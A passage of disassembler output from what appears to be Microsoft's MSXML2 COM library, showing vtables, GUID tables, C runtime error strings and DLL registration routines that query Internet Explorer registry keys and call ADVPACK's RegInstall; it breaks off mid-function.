dd offset loc_69B7DC5E
dd offset loc_69B7DCE6
dd offset sub_69B7CC9C
off_69B2A5D8 dd offset loc_69B7DCA3 ; DATA XREF: sub_69B7DBC3+2Do
; sub_69B7DE94+33o
dd offset loc_69B7DC54
dd offset loc_69B7DCDF
dd offset sub_69B7CB54
dd offset sub_69B81AED
off_69B2A5EC dd offset loc_69B7DC99 ; DATA XREF: sub_69B7DBC3+26o
; sub_69B7DE94+2Co
dd offset loc_69B7DC4A
dd offset loc_69B7DCD8
dd offset sub_69B7BE98
off_69B2A5FC dd offset loc_69B7DC8F ; DATA XREF: sub_69B7DBC3+1Fo
; sub_69B7DE94+25o
dd offset loc_69B73470
dd offset loc_69B7DCD1
dd offset sub_69B7BC9E
dd offset sub_69B7BDC2
off_69B2A610 dd offset loc_69B7DC85 ; DATA XREF: sub_69B7DBC3+18o
; sub_69B7DE94+1Eo
dd offset loc_69B7DC40
dd offset loc_69B7DCCA
dd offset sub_69B7C60C
dd offset sub_69B7C89C
off_69B2A624 dd offset sub_69B7DC7B ; DATA XREF: sub_69B7DBC3+11o
; sub_69B7DE94+17o
dd offset sub_69B7DC36
dd offset sub_69B7DCC3
dd offset sub_69B7B3B4
dd offset sub_69B7B248
dd offset sub_69B7B065
dd offset sub_69B7B27F
dword_69B2A640 dd 0CC0BAF51h, 11D23321h, 800028AEh, 0A17E33C7h
; DATA XREF: sub_69B7E1C4+5Co
; sub_69B81EBA+7Do
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 9, 0DDh, 75h
dd 11D56C40h, 0C0004385h, 0A3FBA04Fh
; OLECHAR aXsldocument
aXsldocument: ; DATA XREF: sub_69B7E2EC+5Eo
; sub_69B822CE+AFo
unicode 0, <XSLDocument>,0
aXmlbufferstrea: ; DATA XREF: sub_69B7E5FC+13o
; sub_69B800FB+73o
unicode 0, <XMLBufferStream>,0
off_69B2A698 dd offset sub_69B7E1C4 ; DATA XREF: sub_69B7EB86+2Do
; sub_69B7FA79+36o
dd offset sub_69B81A3F
dd offset sub_69B7E2EC
off_69B2A6A4 dd offset loc_69B7F424 ; DATA XREF: sub_69B7EB86+26o
; sub_69B7FA79+2Fo
dd offset loc_69B7F42E
dd offset loc_69B7F438
off_69B2A6B0 dd offset loc_69B7F406 ; DATA XREF: sub_69B7EB86+1Fo
; sub_69B7FA79+28o
dd offset loc_69B7F410
dd offset loc_69B7F41A
dd offset loc_69B7E5E4
off_69B2A6C0 dd offset loc_69B7F3E8 ; DATA XREF: sub_69B7EB86+18o
; sub_69B7FA79+21o
dd offset loc_69B7F3F2
dd offset loc_69B7F3FC
dd offset sub_69B7EC45
dd offset sub_69B7ECA1
dd offset sub_69B7ECFD
dd offset sub_69B7F442
dd offset sub_69B7ED5C
dd offset sub_69B7EDBB
dd offset sub_69B7EE1D
dd offset sub_69B7EE7F
dd offset sub_69B7EEDE
dd offset sub_69B7EF49
dd offset sub_69B7EFA5
dd offset sub_69B7EFFE
dd offset sub_69B7F057
dd offset sub_69B7F0B3
dd offset sub_69B7F112
dd offset sub_69B7F171
dd offset sub_69B7F1D0
dd offset sub_69B7F22F
dd offset sub_69B7F28B
dd offset sub_69B7F2E7
dd offset sub_69B7F346
off_69B2A720 dd offset loc_69B7F3C0 ; DATA XREF: sub_69B7EB86+11o
; sub_69B7FA79+1Ao
dd offset loc_69B7F3CA
dd offset loc_69B7F3D4
dd offset loc_69B7F3DE
dd offset sub_69B7E40C
dd offset sub_69B7E46B
dd offset sub_69B7E4C7
dd offset sub_69B7E523
off_69B2A740 dd offset loc_69B7F3A2 ; DATA XREF: sub_69B7EB86+Ao
; sub_69B7FA79+13o
dd offset loc_69B7F3AC
dd offset loc_69B7F3B6
dd offset sub_69B7E57F
dd offset sub_69B803AC
off_69B2A754 dd offset loc_69B7FA12 ; DATA XREF: sub_69B7F7CC+Ao
; sub_69B7FA54+9o
dd offset loc_69B7FA1C
dd offset sub_69B800F1
dd offset sub_69B7F924
dd offset sub_69B7F938
dd offset sub_69B7F94C
dd offset sub_69B7F968
dd offset sub_69B7F987
dd offset sub_69B7F9B2
dd offset sub_69B7F9DA
dd offset sub_69B7F9F6
off_69B2A780 dd offset sub_69B7F7EE ; DATA XREF: sub_69B7F7CC+4o
; sub_69B7FA54+3o
dd offset sub_69B7F85D
dd offset sub_69B7FA26
dd offset sub_69B7F86E
off_69B2A790 dd offset sub_69B810D5 ; DATA XREF: sub_69B80F83+1Eo
; sub_69B80FD0+3o
dd offset sub_69B80756
dd offset sub_69B8080F
dd offset sub_69B80B3C
dd offset sub_69B80B34
dd offset sub_69B80B30
off_69B2A7A8 dd offset loc_69B8176D ; DATA XREF: sub_69B816BB+1Co
; sub_69B81864+20o
dd offset loc_69B709B2
dd offset loc_69B709BC
dd offset sub_69B816F0
dd offset sub_69B8130F
off_69B2A7BC dd offset sub_69B8188F ; DATA XREF: sub_69B816BB+Fo
; sub_69B81864+12o
off_69B2A7C0 dd offset loc_69B8176D ; DATA XREF: sub_69B81774+1Co
; sub_69B818AE+2Eo
dd offset loc_69B709B2
dd offset loc_69B709BC
dd offset sub_69B817BC
dd offset sub_69B8130F
off_69B2A7D4 dd offset sub_69B81766 ; DATA XREF: sub_69B16B18+1Eo
; sub_69B816BB+15o ...
dd offset sub_69B7099E
dd offset sub_69B709A8
dd offset sub_69B8124B
dd offset sub_69B812AD
off_69B2A7E8 dd offset sub_69B818E9 ; DATA XREF: sub_69B81774+Fo
; sub_69B818AE+20o
off_69B2A7EC dd offset sub_69B81833 ; DATA XREF: sub_69B817C6+Do
; sub_69B81908+20o
dd offset sub_69B7099E
dd offset sub_69B709A8
dd offset sub_69B8153F
dd offset sub_69B8156C
off_69B2A800 dd offset sub_69B81933 ; DATA XREF: sub_69B817C6+7o
; sub_69B81908+19o
off_69B2A804 dd offset loc_69B81C87 ; DATA XREF: sub_69B81C44+8o
; sub_69B81E26+4o
dd offset sub_69B81A3F
dd offset sub_69B81A50
dd offset sub_69B81D08
dd offset sub_69B81FF0
dd offset sub_69B81CCB
dd offset sub_69B81CF8
dd offset sub_69B81CF0
dd offset sub_69B81DB2
dd offset sub_69B81CD3
dd offset sub_69B81CF0
dd offset sub_69B81CF0
dd offset sub_69B81CF8
dd offset sub_69B81D00
dd offset sub_69B81E75
off_69B2A840 dd offset sub_69B8363D ; DATA XREF: sub_69B82ABA+16o
; sub_69B83616+1Co
off_69B2A844 dd offset sub_69B82F30 ; DATA XREF: sub_69B82CB4+1Fo
; sub_69B82F37+1Bo
dd offset sub_69B7099E
dd offset sub_69B709A8
dd offset sub_69B82E10
dd offset sub_69B82E3B
dd offset sub_69B82E5E
dd offset sub_69B82E72
dd offset sub_69B82E82
dd offset sub_69B82E92
dd offset sub_69B82EA2
dd offset sub_69B82EBE
dd offset sub_69B82ECE
dd offset sub_69B82EE2
dd offset sub_69B82EF2
off_69B2A87C dd offset loc_69B83698 ; DATA XREF: sub_69B82CB4+18o
; sub_69B82F37+15o
off_69B2A880 dd offset sub_69B8475D ; DATA XREF: sub_69B84713+1Fo
; sub_69B84958+8o
dd offset sub_69B8479E
dd offset sub_69B84938
dd offset sub_69B847D5
dd offset sub_69B84A3B
dd offset sub_69B1E82F
dd offset sub_69B847AB
dd offset sub_69B847B9
dword_69B2A8A0 dd 746E7572h, 20656D69h, 6F727265h, 90002072h, 90000A0Dh
; DATA XREF: .data:69B9AAC4o
dd 534F4C54h, 72652053h, 0D726F72h, 9090000Ah, 474E4953h
dd 72726520h, 0A0D726Fh, 90909000h, 414D4F44h, 65204E49h
dd 726F7272h, 90000A0Dh
aR6028UnableToI db 'R6028',0Dh,0Ah ; DATA XREF: .data:69B9AA9Co
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah ; DATA XREF: .data:69B9AA94o
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah ; DATA XREF: .data:69B9AA8Co
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah ; DATA XREF: .data:69B9AA84o
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah ; DATA XREF: .data:69B9AA7Co
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah ; DATA XREF: .data:69B9AA74o
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah ; DATA XREF: .data:69B9AA6Co
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah ; DATA XREF: .data:69B9AA64o
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah ; DATA XREF: .data:69B9AA5Co
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah ; DATA XREF: .data:69B9AA54o
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah ; DATA XREF: .data:69B9AA4Co
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah ; DATA XREF: .data:69B9AA44o
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_69B9AA3Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
dword_69B2ABA0 dd 6D3A4848h, 73733A6Dh, 90909000h, 64646464h, 4D4D202Ch
; DATA XREF: .data:69B9AD50o
; .data:69B9AD4Co
dd 64204D4Dh, 79202C64h, 797979h, 642F4D4Dh, 79792F64h
dd 90909000h, 90004D50h, 90004D41h, 65636544h, 7265626Dh
dd 90909000h, 65766F4Eh, 7265626Dh, 90909000h, 6F74634Fh
dd 726562h, 74706553h, 65626D65h, 90900072h, 75677541h
dd 90007473h, 796C754Ah, 90909000h, 656E754Ah, 90909000h
dd 69727041h, 9090006Ch, 6372614Dh, 90900068h, 72626546h
dd 79726175h, 90909000h, 756E614Ah, 797261h, 636544h, 766F4Eh
dd 74634Fh, 706553h, 677541h, 6C754Ah, 6E754Ah, 79614Dh
dd 727041h, 72614Dh, 626546h, 6E614Ah, 75746153h, 79616472h
dd 90909000h, 64697246h, 90007961h, 72756854h, 79616473h
dd 90909000h, 6E646557h, 61647365h, 90900079h, 73657554h
dd 796164h, 646E6F4Dh, 90007961h, 646E7553h, 90007961h
dd 746153h, 697246h, 756854h, 646557h, 657554h, 6E6F4Dh
dd 6E7553h, 200000h, 4 dup(200020h), 2 dup(280028h), 200028h
dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
dd 100084h, 3 dup(100010h), 3 dup(810081h), 0Ah dup(10001h)
dd 3 dup(100010h), 3 dup(820082h), 0Ah dup(20002h), 2 dup(100010h)
dd 20h, 3Fh dup(0)
align 10h
; CLSID stru_69B2AED0
stru_69B2AED0 dd 7B8A2D94h ; Data1 ; DATA XREF: sub_69B2C72C+26o
; sub_69B89C91+B5o
dw 0AC9h ; Data2
dw 11D1h ; Data3
db 89h, 6Ch, 0, 0C0h, 4Fh, 0B6h, 0BFh, 0C4h; Data4
dword_69B2AEE0 dd 0DE4BA900h, 11CF59CAh, 45449295h, 5453h ; sub_69B803AC+111o ...
dword_69B2AEF0 dd 0B722BE00h, 101B4E68h, 0AA00BCA2h, 70474000h ; sub_69B7EA61+3Fo ...
dword_69B2AF00 dd 3AF280B6h, 11D0CB3Fh, 0C0001E89h, 0C4BFB64Fh ; .text:69B73D2Co ...
; IID stru_69B2AF10
stru_69B2AF10 dd 79EAC9EEh ; Data1 ; DATA XREF: sub_69B2C72C+1Eo
; sub_69B7EA61+D6o ...
dw 0BAF9h ; Data2
dw 11CEh ; Data3
db 8Ch, 82h, 0, 0AAh, 0, 4Bh, 0A9h, 0Bh; Data4
dword_69B2AF20 dd 79EAC9E5h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
; DATA XREF: sub_69B7DC7B-25D1o
; sub_69B7DCED+104o
dword_69B2AF30 dd 79EAC9E1h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h ; sub_69B3ADB8+16o ...
dword_69B2AF40 dd 0FC4801A1h, 11CF2BA9h, 0AA0029A2h, 52733D00h
; DATA XREF: sub_69B739EC+39o
; .text:loc_69B73E67o ...
dd 79EAC9D8h, 11CEBAFAh, 0AA00828Ch, 0BA94B00h ; DATA XREF: sub_69B3B01F+20o
; sub_69B817DF+1Co
dword_69B2AF60 dd 79EAC9D7h, 11CEBAFAh, 0AA00828Ch, 0BA94B00h
; DATA XREF: sub_69B7DC7B-2546o
; sub_69B7CC9C+39o
dword_69B2AF70 dd 79EAC9D6h, 11CEBAFAh, 0AA00828Ch, 0BA94B00h ; sub_69B817DF+Bo
dword_69B2AF80 dd 79EAC9D2h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h ; sub_69B3ACD6+97o ...
dword_69B2AF90 dd 79EAC9D0h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
; DATA XREF: sub_69B7DC7B-2578o
; sub_69B7BE98+90o ...
dword_69B2AFA0 dd 79EAC9C9h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
; DATA XREF: sub_69B1C12C:loc_69B1EF8Fo
; sub_69B440C4+7o ...
dword_69B2AFB0 dd 4 dup(0) ; sub_69B2D0C7+B3o ...
dword_69B2AFC0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh
; DATA XREF: sub_69B1C04C:loc_69B2481Eo
; sub_69B2CE84+3Fo ...
dword_69B2AFD0 dd 20404h, 0 ; .text:69B433B9o ...
dd 0C0h, 46000000h
dword_69B2AFE0 dd 20400h, 0 ; sub_69B2CE84+1Co ...
dd 0C0h, 46000000h
dword_69B2AFF0 dd 0Ch, 0 ; sub_69B3677A+3o ...
dd 0C0h, 46000000h
dword_69B2B000 dd 0C733A30h, 11CE2A1Ch, 0AA00E5ADh, 3D774400h ; sub_69B39730+122o ...
; IID stru_69B2B010
stru_69B2B010 dd 0Fh ; Data1 ; DATA XREF: .text:69B81B6Do
; sub_69B81BD7+Eo
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
dword_69B2B020 dd 109h, 0 ; sub_69B46AC0+E7o ...
dd 0C0h, 46000000h
dword_69B2B030 dd 3, 0 ; sub_69B1C04C+828Ao ...
dd 0C0h, 46000000h
dword_69B2B040 dd 6D5140C1h, 11CE7436h, 0AA003480h, 0FA096000h
; DATA XREF: sub_69B1C04C+8150o
; sub_69B2F4B8+4Ao ...
dword_69B2B050 dd 0A6EF9860h, 11D0C720h, 0A0003793h, 0A9CA0DC9h
; DATA XREF: sub_69B1C04C:loc_69B2435Bo
; sub_69B3B7BC+Bo ...
dword_69B2B060 dd 3050F24Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_69B489F8+22o
; ---------------------------------------------------------------------------
loc_69B2B070: ; DATA XREF: sub_69B5DAE5+122o
; sub_69B5E0C8+1Co
mov esi, edx
push eax
xor [ebp-44EE3068h], dh
add byte ptr [eax], 0AAh
add [ebp+44250BCEh], bh ; DATA XREF: sub_69B5E892+2Ao
; sub_69B5E93B+4Co ...
sub al, 33h
retf
; ---------------------------------------------------------------------------
db 26h, 0D0h, 11h
dd 0C00083B4h, 1901D94Fh, 626FC520h, 11CFA41Eh, 0A00031A7h
; DATA XREF: .text:69B7389Ao
; .text:69B8453Do
dd 372608C9h
dword_69B2B0A0 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_69B77BFC+97o ...
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0BCh, 22h, 0B7h
dd 101B4E68h, 0AA00BCA2h, 70474000h
dword_69B2B0C0 dd 0FC4801A3h, 11CF2BA9h, 0AA0029A2h, 52733D00h
; DATA XREF: sub_69B1C12C+3071o
; sub_69B5DCDA+2Eo ...
dword_69B2B0D0 dd 7FD52380h, 101B4E07h, 82DAEh, 13C72E2Bh ; sub_69B45880+7o ...
dd 9BFBBC02h, 101AEFF1h, 0AA00ED84h, 71D3400h ; DATA XREF: sub_69B50BB3+A3o
; sub_69B50D43+1Bo ...
dword_69B2B0F0 dd 0B196B283h, 101ABAB4h, 0AA009CB6h, 71D3400h
; DATA XREF: sub_69B1C12C:loc_69B1F0D5o
; sub_69B59C38+19o
dword_69B2B100 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h
; DATA XREF: sub_69B1C12C:loc_69B1F08Ao
; sub_69B505D7+1Ao ...
dword_69B2B110 dd 0CB5BDC81h, 11CF93C1h, 8000208Fh, 64D02C5Fh
; DATA XREF: sub_69B1C12C+2F08o
; sub_69B5DCDA+50o ...
dword_69B2B120 dd 0BB1A2AE2h, 11CFA4F9h, 8000208Fh, 64D02C5Fh ; sub_69B740BF+64o
; IID stru_69B2B130
stru_69B2B130 dd 0BB1A2AE1h ; Data1 ; DATA XREF: sub_69B5DD72:loc_69B5DD9Co
; sub_69B740BF+43o ...
dw 0A4F9h ; Data2
dw 11CFh ; Data3
db 8Fh, 20h, 0, 80h, 5Fh, 2Ch, 0D0h, 64h; Data4
dword_69B2B140 dd 0E0E270C0h, 11D0C0BEh, 0A000E48Fh, 41630AC9h ; sub_69B79EA1+4Do
dword_69B2B150 dd 114h, 0 ; sub_69B7CB54+B8o ...
dd 0C0h, 46000000h
dword_69B2B160 dd 112h, 0 ; sub_69B7E8D9+25o ...
dd 0C0h, 46000000h
dword_69B2B170 dd 118h, 0 ; sub_69B89883+B0o
dd 0C0h, 46000000h
dword_69B2B180 dd 91A565C1h, 11D0E38Fh, 0A000BF94h, 0BF5C05C9h
; DATA XREF: sub_69B7E1C4+42o
; sub_69B7E40C+16o ...
off_69B2B190 dd offset sub_69B84A43 ; DATA XREF: sub_69B881B2+20o
; sub_69B88228+3o
dd offset sub_69B81A3F
dd offset sub_69B88408
off_69B2B19C dd offset off_69B25E94 ; DATA XREF: .text:off_69B3D1F8o
; .text:off_69B77AECo ...
dd offset sub_69B6860C
off_69B2B1A4 dd offset loc_69B89C43 ; DATA XREF: sub_69B89B44+Co
; sub_69B89C76+6o
dd offset byte_69B89C4D
dd offset sub_69B89DC8
dd offset loc_69B89BF0+1
off_69B2B1B4 dd offset sub_69B89B64 ; DATA XREF: sub_69B89B44+6o
; sub_69B89C76o
dd offset loc_69B89BE3+1
dd offset loc_69B89C54
dd offset sub_69B81D00
dd offset sub_69B81D00
off_69B2B1C8 dd offset dword_69B18894 ; DATA XREF: sub_69B8A0FEo
; .text:off_69B8A2D0o ...
dd offset loc_69B8A314
aSelectionlangu: ; DATA XREF: .data:off_69B9B054o
unicode 0, <SelectionLanguage>,0
off_69B2B1F4 dd offset sub_69B8D4B6 ; DATA XREF: sub_69B8D0D7+15o
; sub_69B8D12A+16o
off_69B2B1F8 dd offset sub_69B8E35B ; DATA XREF: sub_69B8D93D+17o
; sub_69B8F007+10o
off_69B2B1FC dd offset dword_69B18894 ; DATA XREF: sub_69B900EBo
; sub_69B9011A+14o
dd offset loc_69B901D0
aNb10 db 'NB10',0
align 4
dd 416F2944h, 2, 6D78736Dh, 702E326Ch, 6C006264h, 425C3632h
dd 775C5442h, 696B726Fh, 6F5C676Eh, 6D5C7470h, 6C6D7873h
dd 64702E32h
db 62h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2B23E proc near ; CODE XREF: sub_69B2B41B+Fp
Type = dword ptr -0Ch
cbData = dword ptr -8
hKey = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, offset String
push esi ; lpString
xor edi, edi
call ds:lstrlenA ; lstrlenA
test eax, eax
jnz short loc_69B2B2B2
mov String, al
lea eax, [ebp+hKey]
push eax ; phkResult
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h ; hKey
call RegOpenKeyA ; RegOpenKeyA
test eax, eax
jnz short loc_69B2B2A6
lea eax, [ebp+cbData]
push eax ; lpcbData
push esi ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push edi ; lpReserved
push offset byte_69B25C44 ; lpValueName
push [ebp+hKey] ; hKey
mov [ebp+cbData], 104h
call RegQueryValueExA ; RegQueryValueExA
test eax, eax
jnz short loc_69B2B299
inc edi
loc_69B2B299: ; CODE XREF: sub_69B2B23E+58j
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
test edi, edi
jnz short loc_69B2B2B2
loc_69B2B2A6: ; CODE XREF: sub_69B2B23E+35j
push offset String2 ; "iexplore.exe"
push esi ; lpString1
call ds:lstrcpyA ; lstrcpyA
loc_69B2B2B2: ; CODE XREF: sub_69B2B23E+18j
; sub_69B2B23E+66j
pop edi
pop esi
leave
retn
sub_69B2B23E endp
; ---------------------------------------------------------------------------
align 4
; char aSoftwareMicr_1[]
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0
; DATA XREF: sub_69B2B23E+23o
align 4
; char String2[]
String2 db 'iexplore.exe',0 ; DATA XREF: sub_69B2B23E:loc_69B2B2A6o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2B309 proc near ; CODE XREF: DllRegisterServer+22p
; DllUnregisterServer+60p
Type = dword ptr -0Ch
cbData = dword ptr -8
hKey = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+hKey]
push eax ; phkResult
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Internet Explorer"
push 80000002h ; hKey
xor esi, esi
call RegOpenKeyA ; RegOpenKeyA
test eax, eax
jnz short loc_69B2B368
lea eax, [ebp+cbData]
push eax ; lpcbData
push offset byte_69B9B080 ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push esi ; lpReserved
push offset aVersion ; "Version"
push [ebp+hKey] ; hKey
mov [ebp+cbData], 32h
call RegQueryValueExA ; RegQueryValueExA
test eax, eax
jnz short loc_69B2B35F
mov al, byte_69B9B080
cmp al, 35h
jl short loc_69B2B35F
cmp al, 39h
jg short loc_69B2B35F
inc esi
loc_69B2B35F: ; CODE XREF: sub_69B2B309+46j
; sub_69B2B309+4Fj ...
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2B368: ; CODE XREF: sub_69B2B309+1Fj
mov eax, esi
pop esi
leave
retn
sub_69B2B309 endp
; ---------------------------------------------------------------------------
align 10h
; char aSoftwareMicr_2[]
aSoftwareMicr_2 db 'Software\Microsoft\Internet Explorer',0 ; DATA XREF: sub_69B2B309+Bo
align 4
; char aVersion[]
aVersion db 'Version',0 ; DATA XREF: sub_69B2B309+2Fo
; =============== S U B R O U T I N E =======================================
sub_69B2B3A0 proc near ; CODE XREF: sub_69B2B41B+6p
mov eax, dword_69B9B1C4
test eax, eax
jnz short loc_69B2B3BD
push offset LibFileName ; "ADVPACK.DLL"
call ds:LoadLibraryA ; LoadLibraryA
test eax, eax
mov dword_69B9B1C4, eax
jz short loc_69B2B3DB
loc_69B2B3BD: ; CODE XREF: sub_69B2B3A0+7j
cmp dword_69B9B1C8, 0
jnz short loc_69B2B3E1
push offset aReginstall ; "RegInstall"
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
test eax, eax
mov dword_69B9B1C8, eax
jnz short loc_69B2B3E1
loc_69B2B3DB: ; CODE XREF: sub_69B2B3A0+1Bj
mov eax, 80004005h
retn
; ---------------------------------------------------------------------------
loc_69B2B3E1: ; CODE XREF: sub_69B2B3A0+24j
; sub_69B2B3A0+39j
xor eax, eax
retn
sub_69B2B3A0 endp
; ---------------------------------------------------------------------------
; char aReginstall[]
aReginstall db 'RegInstall',0 ; DATA XREF: sub_69B2B3A0+26o
align 10h
; char LibFileName[]
LibFileName db 'ADVPACK.DLL',0 ; DATA XREF: sub_69B2B3A0+9o
; =============== S U B R O U T I N E =======================================
sub_69B2B3FC proc near ; CODE XREF: DllRegisterServer:loc_69B2C263p
; DllUnregisterServer:loc_69B2C41Fp
mov eax, dword_69B9B1C4
test eax, eax
jz short loc_69B2B413
push eax ; hLibModule
call ds:FreeLibrary ; FreeLibrary
and dword_69B9B1C4, 0
loc_69B2B413: ; CODE XREF: sub_69B2B3FC+7j
and dword_69B9B1C8, 0
retn
sub_69B2B3FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2B41B proc near ; CODE XREF: sub_69B2B4A9+30p
; DllRegisterServer+30p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
call sub_69B2B3A0
test eax, eax
jnz short locret_69B2B476
call sub_69B2B23E
mov eax, offset aBoth ; "Both"
mov [ebp+var_14], eax
mov [ebp+var_C], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
mov [ebp+var_20], offset aIexplore ; "IEXPLORE"
push hModule
mov [ebp+var_1C], offset String
mov [ebp+var_18], offset aFree_model ; "FREE_MODEL"
mov [ebp+var_10], offset aRental_model ; "RENTAL_MODEL"
mov [ebp+var_8], 3
call dword_69B9B1C8
locret_69B2B476: ; CODE XREF: sub_69B2B41B+Dj
leave
retn 4
sub_69B2B41B endp
; ---------------------------------------------------------------------------
align 4
aRental_model db 'RENTAL_MODEL',0 ; DATA XREF: sub_69B2B41B+47o
align 4
aFree_model db 'FREE_MODEL',0 ; DATA XREF: sub_69B2B41B+40o
align 4
aIexplore db 'IEXPLORE',0 ; DATA XREF: sub_69B2B41B+2Co
align 4
aBoth db 'Both',0 ; DATA XREF: sub_69B2B41B+14o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2B4A9 proc near ; CODE XREF: DllUnregisterServer:loc_69B2C40Bp
szFullPath = word ptr -544h
Data = byte ptr -33Ch
String = byte ptr -238h
MultiByteStr = byte ptr -138h
String1 = byte ptr -34h
String2 = byte ptr -28h
hKey = dword ptr -1Ch
var_18 = dword ptr -18h
pptlib = dword ptr -14h
phkResult = dword ptr -10h
cbValueName = dword ptr -0Ch
dwIndex = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 544h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
xor ebx, ebx
push edi
push offset aFixsidebyside ; "FixSideBySide"
mov [ebp+var_4], eax
mov [ebp+Data], bl
mov [ebp+MultiByteStr], bl
mov [ebp+String1], bl
mov [ebp+String2], bl
call sub_69B2B41B
mov [ebp+var_18], eax
lea eax, [ebp+hKey]
push eax ; phkResult
push 1 ; samDesired
push ebx ; ulOptions
push offset aClsid2933bf907 ; "CLSID\\{2933BF90-7B36-11d2-B20E-00C04F98"...
push 80000000h ; hKey
call RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
mov esi, 104h
jnz short loc_69B2B576
mov [ebp+dwIndex], ebx
loc_69B2B504: ; CODE XREF: sub_69B2B4A9+C2j
lea eax, [ebp+pptlib]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
lea eax, [ebp+phkResult]
push eax ; lpType
push ebx ; lpReserved
lea eax, [ebp+cbValueName]
push eax ; lpcbValueName
lea eax, [ebp+String1]
push eax ; lpValueName
push [ebp+dwIndex] ; dwIndex
mov [ebp+cbValueName], 0Ah
push [ebp+hKey] ; hKey
mov [ebp+pptlib], esi
call RegEnumValueA ; RegEnumValueA
cmp eax, ebx
jnz short loc_69B2B56D
lea eax, [ebp+String2]
push eax ; lpString2
lea eax, [ebp+String1]
push eax ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
jle short loc_69B2B568
mov edi, ds:lstrcpyA
lea eax, [ebp+Data]
push eax ; lpString2
lea eax, [ebp+MultiByteStr]
push eax ; lpString1
call edi ; lstrcpyA
lea eax, [ebp+String1]
push eax ; lpString2
lea eax, [ebp+String2]
push eax ; lpString1
call edi ; lstrcpyA
loc_69B2B568: ; CODE XREF: sub_69B2B4A9+9Dj
inc [ebp+dwIndex]
jmp short loc_69B2B504
; ---------------------------------------------------------------------------
loc_69B2B56D: ; CODE XREF: sub_69B2B4A9+8Bj
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
loc_69B2B576: ; CODE XREF: sub_69B2B4A9+56j
lea eax, [ebp+MultiByteStr]
test eax, eax
jz loc_69B2B69C
push esi ; cchWideChar
lea eax, [ebp+szFullPath]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cchMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
lea eax, [ebp+pptlib]
push eax ; pptlib
lea eax, [ebp+szFullPath]
push eax ; szFile
call LoadTypeLib
cmp eax, ebx
mov [ebp+var_18], eax
jl short loc_69B2B5D2
push ebx ; szHelpDir
lea eax, [ebp+szFullPath]
push eax ; szFullPath
push [ebp+pptlib] ; ptlib
call RegisterTypeLib
mov [ebp+var_18], eax
mov eax, [ebp+pptlib]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2B5D2: ; CODE XREF: sub_69B2B4A9+10Aj
mov esi, RegSetValueExA
